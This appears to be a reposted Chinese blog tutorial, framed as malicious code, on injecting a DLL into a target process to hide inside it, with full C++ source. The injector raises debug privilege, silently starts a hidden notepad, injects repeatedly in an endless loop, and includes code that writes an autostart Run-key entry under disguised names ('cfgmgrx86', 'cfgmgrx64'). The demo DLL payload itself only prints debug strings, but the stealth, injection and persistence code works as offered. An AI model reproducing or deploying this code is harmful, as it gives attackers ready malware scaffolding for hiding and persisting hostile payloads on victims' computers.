恶意代码--dll动态链接库注入目标进程隐藏自身(亲测win7x86和x64有效)

来源:互联网 发布:家电遥控器软件 编辑:程序博客网 时间:2024/06/01 08:40

0x01 dll 注入


所谓DLL注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。

很多恶意代码,游戏外挂,盗号木马,顽固类病毒等程序均采用此寄生,隐藏在目标计算机之内。

0x02 关键API


VirtualAllocEx function

VirtualAllocEx函数在远程进程的地址空间中分配一块内存


C++LPVOID WINAPI VirtualAllocEx(  _In_     HANDLE hProcess,  _In_opt_ LPVOID lpAddress,  _In_     SIZE_T dwSize,  _In_     DWORD  flAllocationType,  _In_     DWORD  flProtect);


WriteProcessMemory function

WriteProcessMemory函数把DLL的路径名复制到第1步分配的内存中

C++BOOL WINAPI WriteProcessMemory(  _In_  HANDLE  hProcess,  _In_  LPVOID  lpBaseAddress,  _In_  LPCVOID lpBuffer,  _In_  SIZE_T  nSize,  _Out_ SIZE_T  *lpNumberOfBytesWritten);


GetProcAddress function

GetProcAddress函数来得到LoadLibraryW或LoadLibraryA函数(在Kernel32.dll中)的实际地址

C++FARPROC WINAPI GetProcAddress(  _In_ HMODULE hModule,  _In_ LPCSTR  lpProcName);


CreateRemoteThread function

CreateRemoteThread函数在远程进程中创建一个线程,让新线程调用正确的LoadLibrary函数并在参数中传入第1步分配的内存地址。这时,DLL已经被注入到远程进程的地址空间中,DLL的DllMain函数会收到DLL_PROCESS_ATTACH通知并且可以执行我们想要执行的代码。

C++HANDLE WINAPI CreateRemoteThread(  _In_  HANDLE                 hProcess,  _In_  LPSECURITY_ATTRIBUTES  lpThreadAttributes,  _In_  SIZE_T                 dwStackSize,  _In_  LPTHREAD_START_ROUTINE lpStartAddress,  _In_  LPVOID                 lpParameter,  _In_  DWORD                  dwCreationFlags,  _Out_ LPDWORD                lpThreadId);


VirtualFreeEx function

用VirtualFreeEx来释放第1步分配的内存。

C++BOOL WINAPI VirtualFreeEx(  _In_ HANDLE hProcess,  _In_ LPVOID lpAddress,  _In_ SIZE_T dwSize,  _In_ DWORD  dwFreeType);

0x03 辅助工具


测试使用如下工具,也可以使用其它工具或者命令行也可以。

debugview 微软自家工具

https://technet.microsoft.com/en-us/sysinternals/bb896647.aspx

pchunter 手动检测工具(神器)

http://www.xuetr.com/


0x04 注入代码


实现大家可以结合代码理解。

大家可以随便自己先编写一个demo.dll 这个不是重点。为了测试,编写的关键代码如下。


HANDLE ghServerThread=NULL;BOOL CreateLukeMutex(){HANDLE hExist = ::CreateMutex( NULL, FALSE, L"5t4rk");if( GetLastError() == ERROR_ALREADY_EXISTS ){OutputDebugString(L"[ 5t4rk ] application is exists ");CloseHandle(hExist);return FALSE;}return TRUE;}DWORD  WINAPI ThreadRunning(LPVOID lpParameter){DWORD dwIniateValue=1;while(dwIniateValue>0){if (dwIniateValue%10==0){Sleep(10*10);OutputDebugString(L"[ 5t4rk ] Beauty And The Beast ");}else if(dwIniateValue%10==1){Sleep(11*110);OutputDebugString(L"[ 5t4rk ] Because I Love You ");}else if(dwIniateValue%10==2){Sleep(12*320);OutputDebugString(L"[ 5t4rk ] When You Believe ");}else if(dwIniateValue%10==3){Sleep(13*330);OutputDebugString(L"[ 5t4rk ] Don't Cry For Me Argentina ");}else if(dwIniateValue%10==4){Sleep(140*40);OutputDebugString(L"[ 5t4rk ] Sharp Of My Heart ");}else if(dwIniateValue%10==5){Sleep(100*1010);OutputDebugString(L"[ 5t4rk ] My Heart Will Go On ");}else if(dwIniateValue%10==6){Sleep(25*60);OutputDebugString(L"[ 5t4rk ] I Will Always Love You ");}else if(dwIniateValue%10==7){Sleep(8*1030);OutputDebugString(L"[ 5t4rk ] More Than I Can Say ");}else if(dwIniateValue%10==8){Sleep(13*1830);OutputDebugString(L"[ 5t4rk ] Can I Feel The Love Tonights ");}else{Sleep(15*1000);OutputDebugString(L"[ 5t4rk ] dll is still running ");}::InterlockedIncrement(&dwIniateValue);}return dwIniateValue;}BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved ){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:if(TRUE==CreateLukeMutex()){ghServerThread = CreateThread(NULL, 0, ThreadRunning,NULL,0,0);CloseHandle(ghServerThread);}break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH://break;}return TRUE;}

本人在windows7 x64平台下采用vs2010进行编译,最后生成demo.dll

然后编写注射器injector.exe 因为dll注入就是通过我们运行的进程去调用某个dll使它动态

得被加载到某个正在运行的进程内存之中。本人测试采用注入到notepad记事本之中。

关键代码如下

common.h
#include <Windows.h>#include <tlhelp32.h>#include <process.h>#include <Psapi.h>#pragma comment(lib,"psapi.lib")#include <stdlib.h>#include <string>#include <iostream>#include <stdio.h>#include<tchar.h>using namespace std;class CSystemFunction{public:CSystemFunction();~CSystemFunction();public:static BOOLIs64bitOsVersion();static boolIsWritedRegedit();static boolIsStartProcess(TCHAR *szTargetProcessName);static bool IsCheckProcess(TCHAR *szTargetProcessName);static BOOLSetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) ;static intInjectDLLtoProcessFromName(TCHAR *szTarget, TCHAR *szDllPath);static intInjectDLLtoProcessFromPid(DWORD dwPid, TCHAR *szDllPath);static intInjectDLLtoNewProcess(TCHAR *szCommandLine, TCHAR *szDllPath);static DWORDGetProcessPIDByName(TCHAR *szTargetProcessName);static intInjectDLL(HANDLE hProcess, TCHAR *szDllPath);static intInjectDLLtoExistedProcess(DWORD dwPid, TCHAR *szDllPath);};


common.cpp

#include "common.h"BOOL CSystemFunction::SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)   {  TOKEN_PRIVILEGES tp;  HANDLE hToken;  LUID luid;  if( !OpenProcessToken(GetCurrentProcess(),  TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,   &hToken) )  {  _tprintf("OpenProcessToken error: %u/n", GetLastError());  return FALSE;  }  if( !LookupPrivilegeValue(NULL,  lpszPrivilege,  &luid) )  {  _tprintf("LookupPrivilegeValue error: %u/n", GetLastError() );   return FALSE;   }  tp.PrivilegeCount = 1;  tp.Privileges[0].Luid = luid;  if( bEnablePrivilege )  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  else  tp.Privileges[0].Attributes = 0;  if( !AdjustTokenPrivileges(hToken,   FALSE,   &tp,   sizeof(TOKEN_PRIVILEGES),   (PTOKEN_PRIVILEGES) NULL,   (PDWORD) NULL) )  {   _tprintf("AdjustTokenPrivileges error: %u/n", GetLastError() );   return FALSE;   }   if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )  {  _tprintf("The token does not have the specified privilege. /n");  return FALSE;  }   return TRUE;  }  BOOL CSystemFunction::Is64bitOsVersion(){    typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);    LPFN_ISWOW64PROCESS fnIsWow64Process;    BOOL bIs64bitOS = FALSE;    fnIsWow64Process=(LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandle("kernel32.dll"),"IsWow64Process");    if (NULL != fnIsWow64Process)    {        if (!fnIsWow64Process(GetCurrentProcess(),&bIs64bitOS))        {            // return FALSE;        }else{return TRUE;}    }    return bIs64bitOS;}bool CSystemFunction::IsWritedRegedit(){    if (!Is64bitOsVersion())//32    {        HKEY hMyKey=NULL;        LONG lRet=0;        DWORD dwType = REG_SZ;        DWORD dwSize=MAX_PATH;         TCHAR chData[MAX_PATH]={'\0'};;        lRet = RegOpenKey(HKEY_LOCAL_MACHINE, _T("Software\\Microsoft\\windows\\CurrentVersion\\Run\\"), &hMyKey) ;        if (lRet!=ERROR_SUCCESS)        {                        OutputDebugString(_T("Regedit can not be opened\n"));            return 1;        }        RegQueryValueEx(hMyKey,_T("cfgmgrx86"),NULL,&dwType,(LPBYTE)chData,&dwSize);        if (lstrlen(chData)>10)        {            OutputDebugString(_T("Regedit is already exists\n"));            RegCloseKey(hMyKey);            return 1;        }        else        {            HKEY  hKey=NULL;            DWORD dwDisposition;            TCHAR filepath[MAX_PATH]={'\0'};GetModuleFileName(NULL,filepath,MAX_PATH);            lstrcat(filepath,_T(" /autostart"));            if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,_T("Software\\Microsoft\\windows\\CurrentVersion\\Run\\"),0,                NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) == ERROR_SUCCESS)            {                if (RegSetValueEx(hKey,_T("cfgmgrx86"),0,REG_SZ,(LPBYTE)filepath,sizeof(TCHAR)*(lstrlen(filepath)+1)) == ERROR_SUCCESS)                 {                    OutputDebugString(_T("Regedit is already writed\n"));                    RegCloseKey(hKey);                    return 1;                }                else                {                    OutputDebugString(_T("Regedit cannot be writed\n"));                    RegCloseKey(hKey);                    return 1;                }            }            else            {                OutputDebugString(_T("Regedit cannot be writed\n"));                return 1;            }        }    }    else //64    {        HKEY hMyKey=NULL;        BOOL bRet=FALSE;        DWORD dwType = REG_SZ;        DWORD dwSize=MAX_PATH;         TCHAR chData[MAX_PATH]={'\0'};        LONG lRet=0;        lRet = RegOpenKey(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\run\\"), &hMyKey);        if (lRet!=ERROR_SUCCESS)        {            OutputDebugString(_T("Regedit can not be opened\n"));            return 1;        }        RegQueryValueEx(hMyKey,_T("cfgmgrx64"),NULL,&dwType,(LPBYTE)chData,&dwSize);        if (lstrlen(chData)>10)        {            OutputDebugString(_T("Regedit is already exists\n"));            RegCloseKey(hMyKey);            return 1;        }        else        {            HKEY  hKey=NULL;            DWORD dwDisposition=0;            TCHAR filepath[MAX_PATH]={'\0'};            GetModuleFileName(NULL,filepath,MAX_PATH);            lstrcat(filepath,_T(" /autostart"));            if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,_T("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\run\\"),0,                NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_WOW64_64KEY,NULL,&hKey,&dwDisposition) == ERROR_SUCCESS)            {                if (RegSetValueEx(hKey,_T("cfgmgrx64"),0,REG_SZ,(LPBYTE)filepath,sizeof(TCHAR)*(lstrlen(filepath)+1)) == ERROR_SUCCESS)                 {                    OutputDebugString(_T("Regedit is already writed\n"));                    RegCloseKey(hKey);                    return 1;                }                else                {                    OutputDebugString(_T("Regedit cannot be writed\n"));                    RegCloseKey(hKey);                    return 1;                }            }            else            {                OutputDebugString(_T("Regedit cannot be writed\n"));                return 1;            }        }    }    return 1;}bool CSystemFunction::IsCheckProcess(TCHAR *szTargetProcessName){    bool bRetFind=false;    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);        if(hSnap == INVALID_HANDLE_VALUE)    {        TCHAR chError[50]={0};        sprintf_s(chError,"CreateToolhelp32Snapshot::0x%08x",GetLastError());        OutputDebugString(chError);        return false;    }        PROCESSENTRY32 pe;    pe.dwSize = sizeof(pe);        BOOL bResult = Process32First(hSnap, &pe);    while(bResult)    {        if(0==lstrcmp(pe.szExeFile, szTargetProcessName))        {            bRetFind=true;            break;        }        bResult = Process32Next(hSnap, &pe);    }    CloseHandle(hSnap);    return bRetFind;}bool CSystemFunction::IsStartProcess(TCHAR *szTargetProcessName){    if(lstrlen(szTargetProcessName)>4)    {        SECURITY_ATTRIBUTES  sa         = {0};          PROCESS_INFORMATION  pi         = {0};         STARTUPINFO          si         = {0};        sa.nLength              = sizeof(SECURITY_ATTRIBUTES);        sa.lpSecurityDescriptor = NULL;         sa.bInheritHandle       = TRUE;        memset((void *)&si, 0, sizeof(si));        memset((void *)&pi, 0, sizeof(pi));        GetStartupInfo(&si);        si.cb           = sizeof(STARTUPINFO);        si.wShowWindow  = SW_HIDE;        si.dwFlags      = STARTF_USESHOWWINDOW;        TCHAR chSystem[MAX_PATH]={0};        DWORD dwSize=GetSystemDirectory(chSystem,MAX_PATH);        if(dwSize!=0)        {            lstrcat(chSystem,"\\");            lstrcat(chSystem,szTargetProcessName);        }        BOOL bResult =CreateProcess(chSystem, NULL, NULL, NULL, TRUE,             CREATE_NO_WINDOW, NULL, NULL, &si, &pi);        if (!bResult)           {            CloseHandle(pi.hThread);            CloseHandle(pi.hProcess);            OutputDebugString("Failed CreateProcess");            return false;        }        if (!pi.hProcess)        {            CloseHandle(pi.hThread);            CloseHandle(pi.hProcess);            OutputDebugString("Failed WaitForSingleObject");            return false;        }        CloseHandle(pi.hThread);        CloseHandle(pi.hProcess);    }    else    {        OutputDebugString("Failed command parameter");        return false;    }    return true;}DWORD CSystemFunction::GetProcessPIDByName(TCHAR *szTargetProcessName){HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if(hSnap == INVALID_HANDLE_VALUE){TCHAR chError[50]={0};sprintf_s(chError,"CreateToolhelp32Snapshot::0x%08x",GetLastError());OutputDebugString(chError);return 0;}PROCESSENTRY32 pe;pe.dwSize = sizeof(pe);DWORD dwProcessId = 0;BOOL bResult = Process32First(hSnap, &pe);while(bResult){if(!lstrcmp(pe.szExeFile, szTargetProcessName)){dwProcessId = pe.th32ProcessID;break;}bResult = Process32Next(hSnap, &pe);}CloseHandle(hSnap);return dwProcessId;}int CSystemFunction::InjectDLL(HANDLE hProcess, TCHAR *szDllPath){int szDllPathLen = lstrlen(szDllPath) + 1;PWSTR RemoteProcessMemory = (PWSTR)VirtualAllocEx(hProcess, NULL, szDllPathLen, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);if(RemoteProcessMemory == NULL){TCHAR chError[50]={0};sprintf_s(chError,"VirtualAllocEx::0x%08x",GetLastError());OutputDebugString(chError);return -1;}BOOL bRet = WriteProcessMemory(hProcess, RemoteProcessMemory, (PVOID)szDllPath, szDllPathLen, NULL);if(bRet == FALSE){TCHAR chError[50]={0};sprintf_s(chError,"WriteProcessMemory::0x%08x",GetLastError());OutputDebugString(chError);return -1;}PTHREAD_START_ROUTINE pfnThreadRtn;pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");if(pfnThreadRtn == NULL){TCHAR chError[50]={0};sprintf_s(chError,"GetProcAddress::0x%08x",GetLastError());OutputDebugString(chError);return -1;}HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, RemoteProcessMemory, 0, NULL);if(hThread == NULL){CHAR chError[50]={0};sprintf_s(chError,"CreateRemoteThread::0x%08x",GetLastError());OutputDebugString(chError);return -1;}else{OutputDebugString("congratulations !");}//WaitForSingleObject(hThread, INFINITE);VirtualFreeEx(hProcess, RemoteProcessMemory, szDllPathLen, MEM_RELEASE);CloseHandle(hThread);return 0;}int CSystemFunction::InjectDLLtoExistedProcess(DWORD dwPid, TCHAR *szDllPath){HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION , FALSE, dwPid);if(hProcess == NULL){CHAR chError[50]={0};sprintf_s(chError,"OpenProcess::0x%08x",GetLastError());OutputDebugString(chError);return -1;}if(InjectDLL(hProcess, szDllPath)){CHAR chError[50]={0};sprintf_s(chError,"InjectDLL::0x%08x",GetLastError());OutputDebugString(chError);return -1;}CloseHandle(hProcess);return 0;}int CSystemFunction::InjectDLLtoProcessFromName(TCHAR *szTarget, TCHAR *szDllPath){DWORD dwPid = GetProcessPIDByName(szTarget);if(dwPid == 0){CHAR chError[50]={0};sprintf_s(chError,"GetProcessIdFromName::0x%08x",GetLastError());OutputDebugString(chError);return -1;}if(InjectDLLtoExistedProcess(dwPid, szDllPath)){CHAR chError[50]={0};sprintf_s(chError,"InjectDLLtoExistedProcess::0x%08x",GetLastError());OutputDebugString(chError);return -1;}return 0;}int CSystemFunction::InjectDLLtoProcessFromPid(DWORD dwPid, TCHAR *szDllPath){if(InjectDLLtoExistedProcess(dwPid, szDllPath)){CHAR chError[50]={0};sprintf_s(chError,"InjectDLLtoExistedProcess::0x%08x",GetLastError());OutputDebugString(chError);return -1;}return 0;}int CSystemFunction::InjectDLLtoNewProcess(TCHAR *szCommandLine, TCHAR *szDllPath){STARTUPINFO si;PROCESS_INFORMATION pi;ZeroMemory(&si, sizeof(STARTUPINFO));si.cb = sizeof(STARTUPINFO);BOOL bResult = CreateProcess(NULL, szCommandLine, NULL, NULL,FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);if(bResult == FALSE){CHAR chError[50]={0};sprintf_s(chError,"CreateProcess::0x%08x",GetLastError());OutputDebugString(chError);return -1;}int nRet = -1;if(InjectDLL(pi.hProcess, szDllPath))goto _Exit;nRet = 0;_Exit:ResumeThread(pi.hThread);CloseHandle(pi.hThread);CloseHandle(pi.hProcess);return nRet;}


main.cpp
#include "common.h"int APIENTRY WinMain(__in HINSTANCE hInstance,__in_opt HINSTANCE hPrevInstance,__in LPSTR lpCmdLine, __in int nShowCmd){CSystemFunction::SetPrivilege(SE_DEBUG_NAME, TRUE);while (true){if(false==CSystemFunction::IsCheckProcess("notepad.exe")){if (true==CSystemFunction::IsStartProcess("notepad.exe")){CSystemFunction::InjectDLLtoProcessFromName("notepad.exe","C:\\windows\\system32\\demo.dll");}else{OutputDebugString("the application can not be started  !");}}else{HANDLE hExist = ::CreateMutex( NULL, FALSE, _T("5t4rk"));if( GetLastError() == ERROR_ALREADY_EXISTS ){OutputDebugString("[ 5t4rk ] Application is already running !");CloseHandle( hExist );Sleep(1000*60);}else{CloseHandle( hExist );CSystemFunction::InjectDLLtoProcessFromName("notepad.exe","C:\\windows\\system32\\demo.dll");Sleep(1000*60);}}}return 1;}

注意运行之前必须以右键管理员权限执行,因为注入是一种高危操作,必须过UAC。注入之前把第一个demo.dll复制到system32目录之下,当然你也可以是别的目录,修改对应的代码即可。

0x05 输出结果


测试程序采用线程实现循环输出调试信息字符串。








0x06 参考说明


如果测试失败可以先检查自己的程序和平台是不是兼容通用。
或者断点调试那个函数调用失败。或者GetLastError即可。

下载地址

http://download.csdn.net/detail/bjtbjt/9663714


参考地址

https://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx

https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx

https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx

https://msdn.microsoft.com/en-us/library/windows/desktop/ms682437(v=vs.85).aspx

https://msdn.microsoft.com/en-us/library/windows/desktop/aa366894(v=vs.85).aspx




1 0
原创粉丝点击